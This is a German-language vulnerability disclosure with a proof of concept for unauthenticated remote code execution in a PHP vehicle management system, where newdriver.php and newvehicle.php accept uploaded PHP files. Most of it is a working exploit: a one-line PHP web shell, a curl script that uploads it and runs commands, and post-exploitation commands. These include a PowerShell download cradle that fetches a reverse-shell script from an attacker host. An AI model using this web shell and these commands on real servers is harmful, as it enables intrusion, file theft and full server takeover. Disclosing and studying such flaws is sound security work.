
Nicht authentifizierter Remote-Codeausführungs-Exploit für Vehicle Management System in PHP über uneingeschränkten Datei-Upload in newdriver.php und newvehicle.php, mit PoC und detaillierten Reproduktionsschritten.
| Feld | Details |
|---|
| Produkt | Fahrzeugverwaltungssystem in PHP |
| Anbieter | code-projects.org |
| Version | V1.0 |
| Schwachstellentyp | Uneingeschränkter Dateiupload, der zu Remote-Codeausführung führt (CWE-434) |
| Betroffene Dateien | newdriver.php, newvehicle.php |
| Parameter | photo (POST, multipart/form-data) |
| Authentifizierung erforderlich | Nein (nicht authentifiziert) |
| CVSS-Score | 10.0 Kritisch |
| Angriffsvektor | Remote / Netzwerk |
| Erforderliche Berechtigungen | Keine |
| Benutzerinteraktion | Keine |
Das Fahrzeugverwaltungssystem in PHP V1.0 von code-projects.org ist anfällig für nicht authentifizierte Remote-Codeausführung durch uneingeschränkten Dateiupload in newdriver.php (und identisch in newvehicle.php).
Die Anwendung zeigt ein nur für Administratoren bestimmtes Registrierungsformular 'Neuer Fahrer' unter newdriver.php an, das ein Foto-Upload-Feld enthält. Der Endpunkt führt jedoch keine Sitzungsvalidierung durch – jeder nicht authentifizierte Angreifer kann direkt darauf zugreifen, ohne zur Anmeldung weitergeleitet zu werden. Darüber hinaus akzeptiert das Foto-Upload-Feld jeden Dateityp, einschließlich PHP-Dateien, ohne Erweiterungsfilterung, MIME-Typ-Validierung oder Inhaltsprüfung.
Ein Angreifer kann:
newdriver.php ohne Sitzung oder Anmeldeinformationen direkt besuchen/picture/ gespeichertDies führt zu vollständiger Remote-Codeausführung mit den Berechtigungen des Webserver-Prozesses.
Unauthenticated HTTP Request
↓
newdriver.php (no session check)
↓
photo field accepts .php file (no file type validation)
↓
Shell saved to /picture/web_shell.php
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE — arbitrary OS command execution
Öffnen Sie einen neuen Browser ohne Sitzung (Inkognito-/privates Fenster). Navigieren Sie direkt zum Endpunkt:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
Das Formular 'Neuer Fahrer' wird erfolgreich geladen, ohne Authentifizierungsprüfung und ohne Weiterleitung zur Anmeldung.

Erstellen Sie eine einfache PHP-Webshell zur Befehlsausführung:
<?php system($_GET['cmd']); ?>
Speichern Sie sie als shell.php (oder einen beliebigen .php-Dateinamen).
Füllen Sie die Fahrerformularfelder mit beliebigen Werten aus und wählen Sie die PHP-Webshell als Foto-Upload aus:
Fahrername: test
Mobil: 1234567890
Fahrereintrittsdatum: 2026-05-19
Nationale ID: test
Führerscheinnummer: test
Führerschein-Enddatum: 2026-05-30
Fahreranschrift: test
Foto: shell.php ← PHP-Webshell hier hochgeladen
Klicken Sie auf Abfrage senden.


Die Anwendung antwortet mit "Registrierung abgeschlossen!" – was bestätigt, dass die PHP-Shell ohne Validierung akzeptiert und gespeichert wurde.

Navigieren Sie zur hochgeladenen Shell im Verzeichnis /picture/ und übergeben Sie Betriebssystembefehle über den Parameter cmd:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
Der Server führt den Befehl aus und gibt die Ausgabe zurück:
desktop-g1i9np3\dell

# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
Die identische Schwachstelle existiert in newvehicle.php. Ein nicht authentifizierter Angreifer kann auf das Formular 'Neues Fahrzeug hinzufügen' zugreifen, über das Fahrzeugfoto-Feld eine PHP-Webshell hochladen und auf dieselbe Weise RCE erreichen.
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
Beide Endpunkte teilen dieselbe Ursache: keine Sitzungsvalidierung und keine Dateiupload-Beschränkungen.
curl -s -X POST \
"http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell uploaded" \
&& curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php und newvehicle.php sind beide anfällig| Datei | Upload-Feld | Speicherpfad der Shell |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
Syed Imad Uddin Alvi (imad alvi)
Unabhängiger Sicherheitsforscher